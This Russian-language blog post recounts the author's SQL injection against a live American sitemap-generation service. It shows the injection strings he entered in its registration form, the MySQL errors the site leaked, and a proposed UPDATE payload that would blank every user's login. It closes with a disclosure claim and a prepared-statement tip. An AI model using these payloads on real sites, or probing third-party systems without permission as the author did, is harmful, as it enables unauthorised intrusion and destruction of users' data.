Добрый день!
Хочу рассказать, как я взломал большой американский сайт по созданию sitemap-ов и напомнить о защите от sql-инъекций. По сути, рассказ можно назвать взломом выходного дня. Но все по порядку.
Предыстория
Для ряда своих проектов мне понадобилось сгенерировать пару сайтмапов. Я загуглил и среди прочего нашел один американский сервис для создания сайтмапов (где нужно было зарегистрироваться). Я ввел быстро левую информацию (в надежде, что на сайте нет проверки подлинности мейла) и адрес сайт для создания сайтмапа. И продолжил заниматься более важными делами забыв на пару дней об этом.
Первые действия
И вот я снова возвращаюсь к созданию сайтмапа. Ввожу свои данные на том же сайте(уже подлинные), и раньше введенный адрес сайта. В результате обработки формы сайт выдает текст:
FATAL ERROR: Duplicate entry 'http://gnum.me/' for key 2 FATAL ERROR: query:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://gnum.me/', 'fsga6a59.txt', '1','1','0','0','0', NOW());
Текст значит, что данный сайт уже есть в базе данных. У меня возникла идея, почему бы не попрактиковаться во внедрение sql кода для того чтоб сделать интернет безопаснее для тренировки своего хакер-скила.
Для начала, я посмотрел на предмет отсутствия проверки текста вводимого в форме регистрации на ,, чистоту,, этим запросом:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/
Смысл в том, что я закрываю первую часть запроса:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, '
Кодом:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
И закрываю конечную приставку
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
Кодом:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/
Результат запроса:
FATAL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useup' at line 1 FATAL ERROR: query:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178959, '', 'fsga6a59.txt', '1','1','0','0','0', NOW());
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW());
Анализ результата
Я получил информацию:
- введенный мной текст не имеет проверки на вредоносный код;
- создатели сайта ограничили длину (до 125 символов), таким образом запрос до момента:
load, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW())
нормально проходит.
Резюме
В принципе дальше уже все понятно, я могу ввести любой код до 125 символов в данную строку. Дальше уже вопрос фантазии, вот например:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
UPDATE uses SET login=' '
Удалив этим запросом все логины людей.
Отправил информацию о дыре на сайт. Задача выполнена — теперь наша информация будет более защищенной.
Не забывайте проверять на валидность вводимый клиентом текст.
Совет использования SQL запросов от imater
$query = $db2->prepare("SELECT * FROM tree WHERE text LIKE :title OR id = :id");
$query->execute(array(":title"=>"%валент24938239823908%", ":id"=>$HTTP_GET_VARS['sync3']));
while ($sql = $query->fetch()) echo $sql['fio'];
Спасибо за внимание.
Автор: SanGreel